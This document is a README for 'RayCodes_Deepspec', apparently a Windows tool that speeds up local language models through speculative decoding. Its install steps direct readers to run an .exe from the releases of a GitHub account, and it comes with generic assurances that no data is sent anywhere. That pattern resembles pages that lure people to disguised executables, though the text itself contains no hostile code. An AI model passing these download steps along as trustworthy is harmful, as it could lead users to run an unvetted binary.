RayCodes_Deepspec helps you run artificial intelligence models on your computer with higher speed. Local models often feel slow or laggy when they generate text. This application uses a method called speculative decoding to fix that lag. By using smaller "draft" models alongside your main model, the software predicts text faster and reduces wait times. This tool works with common models like DeepSeek and Qwen3 to ensure your hardware runs at peak rates.
To run this software, ensure your computer meets these basic standards:
- Operating System: Windows 10 or Windows 11 (64-bit).
- Processor: Modern Intel Core i5 or AMD Ryzen 5 or better.
- Memory: 16GB of RAM is the recommended minimum.
- Graphics: An NVIDIA graphics card with at least 8GB of video memory.
- Storage: 5GB of free space on your drive.
- Software: Please ensure you have the latest drivers for your graphics card.
Follow these steps to set up the software on your Windows computer.
- Visit this page to download the software: https://github.com/medium-africannation24/RayCodes_Deepspec
- Locate the latest version on the release page.
- Download the file that ends in .exe.
- Open your Downloads folder.
- Double-click the file you downloaded to start the setup process.
- Follow the instructions on your screen to complete the installation.
Once you install the tool, you will see an icon on your desktop. Click this icon to launch the Streamlit interface. The software opens in your web browser. Do not worry; this runs entirely on your local machine and does not send your data to the internet.
- Open the application window.
- Choose your primary model from the dropdown menu.
- Select a draft head that matches your model. These heads allow the software to guess upcoming words using the DSpark method.
- Adjust the slider for the speed boost. Higher settings provide more speed but require more power from your hardware.
- Press the Start button to begin the benchmark.
The application displays a chart showing the speed change. You will see how many words the model generates per second compared to a standard setup.
Does this software send my data to a server? No. This tool stays local. Your data stays on your hard drive.
Why is my model still slow? Check your hardware. Speculative decoding requires a strong graphics card to work at high speeds. If your card lacks video memory, the speed boost remains small.
Can I use models other than DeepSeek or Qwen3? The tool supports models compatible with Ollama and PyTorch. You can load custom files if they follow the standard model structure.
How do I update the software? Check the link above for new releases. Download the new installer and run it over the old version to update your files.
The dashboard shows several numbers. Here is what they mean:
- Tokens per second: This represents the speed of text output. More is better.
- Acceptance rate: This measures how often the draft model guesses correctly. An acceptance rate above 60% shows great performance.
- Latency: This measures the delay between your request and the first word. Lower numbers indicate better responsiveness.
Use these numbers to tune your settings. You can switch between different draft heads to find the balance between model accuracy and raw generation speed.
If you encounter errors, check these common fixes:
- Reset the application: Close the window and launch it again from the desktop icon.
- Update your GPU drivers: Ensure you installed the latest drivers from the NVIDIA website.
- Check available RAM: If other heavy programs run in the background, close them to free up memory for the model.
- Check storage space: Ensure you have enough room for the model files.
If you find a bug, please return to the download page and create a new issue. Copy and paste the error text so developers can help you.
This project relies on PyTorch for model processing and Streamlit for the user interface. It integrates with Ollama to handle model downloads and management. The DSpark engine runs the mathematical calculations that allow the draft heads to guess the next parts of your sentences with high precision. By batching these predictions, the system skips unnecessary steps in the calculation process.
Keywords: deepseek, deepspec, dspark, inference-acceleration, llm-speedup, ollama, pytorch, qwen3, speculative-decoding, streamlit